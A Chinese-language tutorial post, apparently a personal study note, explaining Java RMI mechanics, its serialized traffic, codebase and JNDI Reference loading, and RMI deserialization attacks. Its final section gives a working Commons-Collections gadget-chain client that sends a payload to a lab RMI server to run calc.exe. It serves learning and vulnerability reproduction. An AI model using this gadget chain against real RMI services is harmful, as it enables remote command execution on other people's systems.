在复现fastjson的过程中看到rmi、LDAP等机制的使用,但一直模模糊糊搞不懂,想来搞清楚这些东西。
但是发现RMI在fastjson中的利用,只是JNDI注入的其中一种利用手段;与RMI本身的反序列化并不是很有关系。
原本想在一篇中整理清楚,由于JNDI注入知识点太过杂糅,将新起一篇说明。
此篇,我们以RMI服务入手,从基础使用开始再到反序列化利用。
RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)
在RMI中对象是通过序列化方式进行编码传输的。(我们将在之后证实)
RMI分为三个主体部分:
总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。
唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。
这一点一开始搞不清楚,在攻击利用中糊涂的话会很难受,被调用的方法实际上是在RMI服务端执行。
之前认为这一点跟fastjson利用RMI攻击相冲突,因为fastjson的payload是写在攻击者RMI服务器中,但是在实际上是在客户端执行。于RMI反序列化利用完全相反
但实际上这两种利用方式发生在完全不同的流程中。我们保持疑问先放一放,将在接下来解答。
要利用先使用。
Server部署:
//hostL:port/objectname
上,形成一个映射表(Service-Stub)。Client调用:
public interface IRemoteHelloWorld extends Remote { public String hello(String a) throws RemoteException; }
这个接口需要
接口的方法需要生命java.rmi.RemoteException报错
服务端实现这个远程接口
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld() throws RemoteException { super(); System.out.println("构造函数中"); } public String hello(String a) throws RemoteException { System.out.println("call from"); return "Hello world"; } }
这个实现类需要
实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
注册远程对象
public class RMIServer { //远程接口 public interface IRemoteHelloWorld extends Remote { ... } //远程接口的实现 public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{ ... } //注册远程对象 private void start() throws Exception { //远程对象实例 RemoteHelloWorld h = new RemoteHelloWorld(); //创建注册中心 LocateRegistry.createRegistry(1099); //绑定对象实例到注册中心 Naming.rebind("//127.0.0.1/Hello", h); } //main函数 public static void main(String[] args) throws Exception { new RMIServer().start(); } }
这里就会想一个问题:注册中心跟服务端可以分离么??????
个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及官方文档是这么说的:出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。
那么就是一般来说注册中心跟服务端是不能分离的。但是个人感觉一些实际分布式管理下应该是可以的,这对我们攻击流程不影响,不纠结与此。
那么服务端就部署好了,来看客户端
package rmi; import java.rmi.Naming; import java.rmi.NotBoundException; public class TrainMain { public static void main(String[] args) throws Exception { RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello"); String ret = hello.hello("input!gogogogo"); System.out.println( ret); } }
那么先运行服务端,再运行客户端,就可以完成调用
但是我们需要分析具体通讯细节,来加深了解RMI的过程:
下面使用wireshark抓包查看数据。
由于自己抓包有混淆数据进入,不好看,总体流程引用java安全漫谈-RMI篇
的数据流程图,再自己补充细节
我把总体数据包,分成以下四块:
AC ED 00 05
是常见的java反序列化16进制特征
注意以上两个关键步骤都是使用序列化语句
同样使用序列化的传输形式
以上两个过程对应的代码是这一句(未确定)
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
这里会返回一个PROXY类型函数(由于是之后补的图,代码不一样)
客户端与注册中心(1099端口)通讯,不知道在做啥
客户端序列化传输调用函数的输入参数至服务端
服务端返回序列化的执行结果至客户端
以上调用通讯过程对应的代码是这一句
String ret = hello.hello("input!gogogogo");
可以看出所有的数据流都是使用序列化传输的,我们尝试从代码中找到对应的反序列化语句
RMI客户端发送调用函数输入参数的序列化过程,接受服务端返回内容的反序列化语句位置分别如下:
RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同,位置如下:
那么我们可以确定RMI是一个基于序列化的java远程方法调用机制。我们来思考这个过程存在的漏洞点:
可以看到我们可以使用rebind、 bind、unbind等方法,去在注册中心中注册调用方法。那我们是不是可以恶意去注册中心注册恶意的远程服务呢?
实际上是不行的。
RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。
不过list和lookup方法可以远程调用。
list方法可以列出目标上所有绑定的对象:
String[] s = Naming.list("rmi://192.168.135.142:1099");
lookup作用就是获得某个远程对象。
如果对方RMI注册中心存在敏感远程服务,就可以进行探测调用(BaRMIE工具
他的RMI服务端存在readObject反序列化点。从通讯过程可知,服务端会对客户端的任意输入进行反序列化。
如果服务端存在漏洞组件版本(存在反序列化利用链),就可以对RMI服务接口进行反序列化攻击。我们将在接下来复现这个RMI服务的反序列化漏洞。它将导致RMI服务端任意命令执行。
(讲道理由于客户端同样存在ReadObject反序列化点,恶意服务端也可以打客户端,就不复现了)
上面没有说到:
RMI核心特点之一就是动态类加载。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类。
如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这个类的class,然后动态加载这个对象class文件。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。
如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类,
则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。
那么只要控制了codebase,就可以加载执行恶意类。同时也存在一定的限制条件:
java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从RMI请求中获取。
具体细节在java安全漫谈-05 RMI篇(2)一文中有描述。
这边暂时只是讲述有这个漏洞原理,由于未找到真实利用场景,不细说。
漏洞的主要原理是RMI远程对象加载,即RMI Class Loading机制,会导致RMI客户端命令执行的
举一个小栗子:
客户端:
ICalc r = (ICalc) Naming.lookup("rmi://192.168.135.142:1099/refObj");//从服务端获取RMI服务 List<Integer> li = new Payload();//本地只有一个抽象接口,具体是从cosebase获取的class文件 r.sum(li);//RMI服务调用,在这里触发从cosebase中读取class文件执行
RMI服务端在绑定远程对象至注册中心时,不只是可以绑定RMI服务器本身上的对象,还可以使用Reference对象指定一个托管在第三方服务器上的class文件,再绑定给注册中心。
在客户端处理服务端返回数据时,发现是一个Reference对象,就会动态加载这个对象中的类。
攻击者只要能够
就可以达到RCE的效果。fasjson组件漏洞rmi、ldap的利用形式正是使用lndi注入,而不是有关RMI反序列化。
有关JNDI注入,以及其fastjson反序列化的例子相关知识太多。这篇只是引出,暂不表述。
主要原理是JNDI Reference远程加载Object Factory类的特性。会导致客户端命令执行。
不受java.rmi.server.useCodebaseOnly 系统属性的限制,相对于前者来说更为通用
举例Commons-collection利用rmi调用的例子。
RMI服务端(受害者),开启了一个RMI服务
package RMI; import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class Server { public interface User extends Remote { public String name(String name) throws RemoteException; public void say(String say) throws RemoteException; public void dowork(Object work) throws RemoteException; } public static class UserImpl extends UnicastRemoteObject implements User{ protected UserImpl() throws RemoteException{ super(); } public String name(String name) throws RemoteException{ return name; } public void say(String say) throws RemoteException{ System.out.println("you speak" + say); } public void dowork(Object work) throws RemoteException{ System.out.println("your work is " + work); } } public static void main(String[] args) throws Exception{ String url = "rmi://127.0.0.1:1099/User"; UserImpl user = new UserImpl(); LocateRegistry.createRegistry(1099); Naming.bind(url,user); System.out.println("the rmi is running ..."); } }
同时服务端具有以下特点:
客户端(攻击者)
package RMI; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; import RMI.Server.User; public class Client { public static void main(String[] args) throws Exception{ String url = "rmi://127.0.0.1:1099/User"; User userClient = (User)Naming.lookup(url); System.out.println(userClient.name("lala")); userClient.say("world"); userClient.dowork(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
亲测可弹计算机,完成任意命令执行。
其实把RMI服务器当作一个readObject复写点去利用。
https://xz.aliyun.com/t/4711#toc-3
java安全漫谈-04.RMI篇(1)
java安全漫谈-04.RMI篇(2)